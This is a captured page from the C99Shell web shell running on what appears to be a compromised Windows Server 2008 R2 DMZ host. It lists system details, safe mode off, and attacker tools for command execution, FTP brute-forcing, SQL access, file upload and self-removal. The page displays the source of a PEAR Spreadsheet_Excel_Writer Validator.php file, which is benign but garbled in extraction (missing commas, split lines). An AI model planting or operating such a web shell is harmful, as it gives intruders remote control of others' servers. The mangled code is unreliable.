!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

C:\dmz\php\pear\Spreadsheet\Excel\Writer\   drwxrwxrwx
Free 4.1 GB of 39.52 GB (10.37%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Validator.php (6.23 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
*  Module written by Herman Kuiper <herman@ozuzo.net>
*
*  License Information:
*
*    Spreadsheet_Excel_Writer:  A library for generating Excel Spreadsheets
*    Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com
*
*    This library is free software; you can redistribute it and/or
*    modify it under the terms of the GNU Lesser General Public
*    License as published by the Free Software Foundation; either
*    version 2.1 of the License, or (at your option) any later version.
*
*    This library is distributed in the hope that it will be useful,
*    but WITHOUT ANY WARRANTY; without even the implied warranty of
*    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
*    Lesser General Public License for more details.
*
*    You should have received a copy of the GNU Lesser General Public
*    License along with this library; if not, write to the Free Software
*    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/

//require_once('PEAR.php');

// Possible operator types

/*
FIXME: change prefixes
*/
define("OP_BETWEEN",    0x00);
define("OP_NOTBETWEEN"0x01);
define("OP_EQUAL",      0x02);
define("OP_NOTEQUAL",   0x03);
define("OP_GT",         0x04);
define("OP_LT",         0x05);
define("OP_GTE",        0x06);
define("OP_LTE",        0x07);

/**
* Baseclass for generating Excel DV records (validations)
*
* @author   Herman Kuiper
* @category FileFormats
* @package  Spreadsheet_Excel_Writer
*/
class Spreadsheet_Excel_Writer_Validator
{
   var 
$_type;
   var 
$_style;
   var 
$_fixedList;
   var 
$_blank;
   var 
$_incell;
   var 
$_showprompt;
   var 
$_showerror;
   var 
$_title_prompt;
   var 
$_descr_prompt;
   var 
$_title_error;
   var 
$_descr_error;
   var 
$_operator;
   var 
$_formula1;
   var 
$_formula2;
    
/**
    * The parser from the workbook. Used to parse validation formulas also
    * @var Spreadsheet_Excel_Writer_Parser
    */
    
var $_parser;

    function 
Spreadsheet_Excel_Writer_Validator(&$parser)
    {
        
$this->_parser       $parser;
        
$this->_type         0x01// FIXME: add method for setting datatype
        
$this->_style        0x00;
        
$this->_fixedList    false;
        
$this->_blank        false;
        
$this->_incell       false;
        
$this->_showprompt   false;
        
$this->_showerror    true;
        
$this->_title_prompt "\x00";
        
$this->_descr_prompt "\x00";
        
$this->_title_error  "\x00";
        
$this->_descr_error  "\x00";
        
$this->_operator     0x00// default is equal
        
$this->_formula1    '';
        
$this->_formula2    '';
    }

   function 
setPrompt($promptTitle "\x00"$promptDescription "\x00"$showPrompt true)
   {
      
$this->_showprompt $showPrompt;
      
$this->_title_prompt $promptTitle;
      
$this->_descr_prompt $promptDescription;
   }

   function 
setError($errorTitle "\x00"$errorDescription "\x00"$showError true)
   {
      
$this->_showerror $showError;
      
$this->_title_error $errorTitle;
      
$this->_descr_error $errorDescription;
   }

   function 
allowBlank()
   {
      
$this->_blank true;
   }

   function 
onInvalidStop()
   {
      
$this->_style 0x00;
   }

    function 
onInvalidWarn()
    {
        
$this->_style 0x01;
    }

    function 
onInvalidInfo()
    {
        
$this->_style 0x02;
    }

    function 
setFormula1($formula)
    {
        
// Parse the formula using the parser in Parser.php
        
$error $this->_parser->parse($formula);
        if (
PEAR::isError($error)) {
            return 
$this->_formula1;
        }

        
$this->_formula1 $this->_parser->toReversePolish();
        if (
PEAR::isError($this->_formula1)) {
            return 
$this->_formula1;
        }
        return 
true;
    }

    function 
setFormula2($formula)
    {
        
// Parse the formula using the parser in Parser.php
        
$error $this->_parser->parse($formula);
        if (
PEAR::isError($error)) {
            return 
$this->_formula2;
        }

        
$this->_formula2 $this->_parser->toReversePolish();
        if (
PEAR::isError($this->_formula2)) {
            return 
$this->_formula2;
        }
        return 
true;
    }

    function 
_getOptions()
    {
        
$options $this->_type;
        
$options |= $this->_style << 3;
        if (
$this->_fixedList) {
            
$options |= 0x80;
        }
        if (
$this->_blank) {
            
$options |= 0x100;
        }
        if (!
$this->_incell) {
            
$options |= 0x200;
        }
        if (
$this->_showprompt) {
            
$options |= 0x40000;
        }
        if (
$this->_showerror) {
            
$options |= 0x80000;
        }
      
$options |= $this->_operator << 20;

      return 
$options;
   }

   function 
_getData()
   {
      
$title_prompt_len strlen($this->_title_prompt);
      
$descr_prompt_len strlen($this->_descr_prompt);
      
$title_error_len strlen($this->_title_error);
      
$descr_error_len strlen($this->_descr_error);

      
$formula1_size strlen($this->_formula1);
      
$formula2_size strlen($this->_formula2);

      
$data  pack("V"$this->_getOptions());
      
$data .= pack("vC"$title_prompt_len0x00) . $this->_title_prompt;
      
$data .= pack("vC"$title_error_len0x00) . $this->_title_error;
      
$data .= pack("vC"$descr_prompt_len0x00) . $this->_descr_prompt;
      
$data .= pack("vC"$descr_error_len0x00) . $this->_descr_error;

      
$data .= pack("vv"$formula1_size0x0000) . $this->_formula1;
      
$data .= pack("vv"$formula2_size0x0000) . $this->_formula2;

      return 
$data;
   }
}

/*class Spreadsheet_Excel_Writer_Validation_List extends Spreadsheet_Excel_Writer_Validation
{
   function Spreadsheet_Excel_Writer_Validation_list()
   {
      parent::Spreadsheet_Excel_Writer_Validation();
      $this->_type = 0x03;
   }

   function setList($source, $incell = true)
   {
      $this->_incell = $incell;
      $this->_fixedList = true;

      $source = implode("\x00", $source);
      $this->_formula1 = pack("CCC", 0x17, strlen($source), 0x0c) . $source;
   }

   function setRow($row, $col1, $col2, $incell = true)
   {
      $this->_incell = $incell;
      //$this->_formula1 = ...;
   }

   function setCol($col, $row1, $row2, $incell = true)
   {
      $this->_incell = $incell;
      //$this->_formula1 = ...;
   }
}*/

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--